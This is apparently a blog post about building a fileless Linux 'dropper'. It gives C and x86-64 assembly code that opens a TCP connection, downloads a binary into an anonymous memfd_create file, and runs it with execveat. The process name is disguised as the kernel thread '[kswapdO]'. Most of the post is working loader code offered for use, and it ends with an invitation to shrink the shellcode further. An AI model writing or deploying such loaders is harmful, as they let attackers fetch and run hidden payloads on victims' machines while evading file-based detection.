In the original post, I described how to use memfd_create
and fexecve
to download a program into memory and run it from there. The post also provided some alternatives in case, either memfd_create
or fexecve
were not available.
For the alternative implementation of fexecve
I used the trick to get a path to a file descriptor using /proc/PID/fd/NN
. That is perfectly fine, however, you may run in two problems when using that technique:
- First, the system may not have a
/proc
pseudo filesystem. Even when this is rare nowadays, it may happen, specially when dealing with embedded platforms. - Second, implementing that technique in assembler is a pain in the ass. Believe it or not, printing a decimal number requires quite some code.
So. it is good to keep some tricks under your sleeve.
Introducing execveat
execveat
is a system call introduced on kernel 3.19, so it is relatively recent. Actually, it is more recent than memfd_create
which was introduced on kernel 3.17… No, I do not have a prodigious memory… that information is in the man pages for both system calls
Actually, fexecve
man page provides the details on how to proceed when no /proc
filesystem is available, and tell us that, in such cases, execveat
is used. As a side note, some times people ask for books and resources to learn, so… there you go, the man pages are full of very juicy information. Read them, specially the final sections where NOTES
and BUGS
are described.
So, let’s rewrite our dropper using this “new” system call.
int main (int argc, char **argv, char **env) {
int fd, s, l;
unsigned long addr = 0x0100007f11110002;
char *args[2]= {"[kswapdO]", NULL};
char buf[1024];
s = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP);
connect (s, (struct sockaddr*)&addr, 16);
fd = memfd_create("a", MFD_CLOEXEC);
while (1) {
l = read (s, buf, 1024);
if (write (fd, buf, l) < 1024) break;
}
close (s);
execveat (fd, "", args, env, AT_EMPTY_PATH);
return 0;
}
The code doesn’t look that different when compared to the original one. We have just changed the call to fexecve
into a call to execveat
. Source code-wise we have not gain much… same number of instructions, however, the big difference is that fexecve
is a function that implies much more code that just invoking execveat
which is a single system call. Actually, fexecve
when using the /proc
file system, requires two system calls as well as the code to print the PID in decimal…
Back to our new code, in order to use execveat
to run a program using just its file descriptor, we have to provide the AT_EMPTY_PATH
flag (flags are provided as the fourth argument). This flag says the system call that the path argument (2nd argument) will be an empty string and the system call should only use the file descriptor provided as first argument.
For the rest of the program you may read this or this in case there is some part that you do not understand (of course, you can also drop your question in comments down below).
Bonus
This was a too short post, so let’s include an assembler version of the program. This is specially simple because the program, as it is now, is just a bunch of system calls invoked one after the other:
section .text
global _start
_start:
push rbp
mov rbp, rsp
sub rsp, 1024 ; Read buffer + Socket + size
;; s = socket (PF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6);
mov rdi, 2 ; PF_INET 2
mov rsi, 1 ; SOCK_STREAM
mov rdx, 6 ; IPPROTO_TCP
mov rax, 41 ; socket
syscall
mov r12, rax ; Save socket on r12 for later
;; memfd_create ("a", 1)
lea rdi, [rel fname]
mov rsi, 1
mov rax, 319 ; memfd_create
syscall
mov r13, rax ; Save fd in R13 for later
mov rdi, r12
lea rsi, [rel addr]
mov rdx, 16
mov rax, 42 ; Connect !
syscall
lea rsi, [rbp]
l0:
;; _read (s = r12, rdi, 1024);
mov rdi, r12
mov rdx, 1024
mov rax, 0 ; read
syscall
;; _write (fd = r13, rdi, result of read)
mov rdi, r13
mov rdx, rax
mov rax, 1 ; write
syscall
cmp eax, 1024
jl done
jmp l0
done:
mov rdi, r12
mov rax, 3 ; close
syscall
mov rdi, r13
lea rsi, [rel fname + 1]
xor rdx, rdx
xor r10, r10
mov r8, 0x1000
mov rax, 322; execat
syscall
addr dq 0x0100007f11110002
fname db "a",0
There are only two comments regarding this code:
- The frame pointer at the beginning of the code can be removed. It is an artefact from a previous post . For a program as simple as this, it is better to just use the available registers and we do not really need to create a stack frame as there is no function call involved… Just use the stack as buffer when needed.
- The second parameter to
execveat
is a null string. Note that we just reuse the name passed tomemfd_create
but we increase the pointer 1 byte so it points to the ending zero… That is a NULL string in assembler.
This version is around 350 bytes, but I bet it can be reduced even more. If you manage to get it under 300 let me know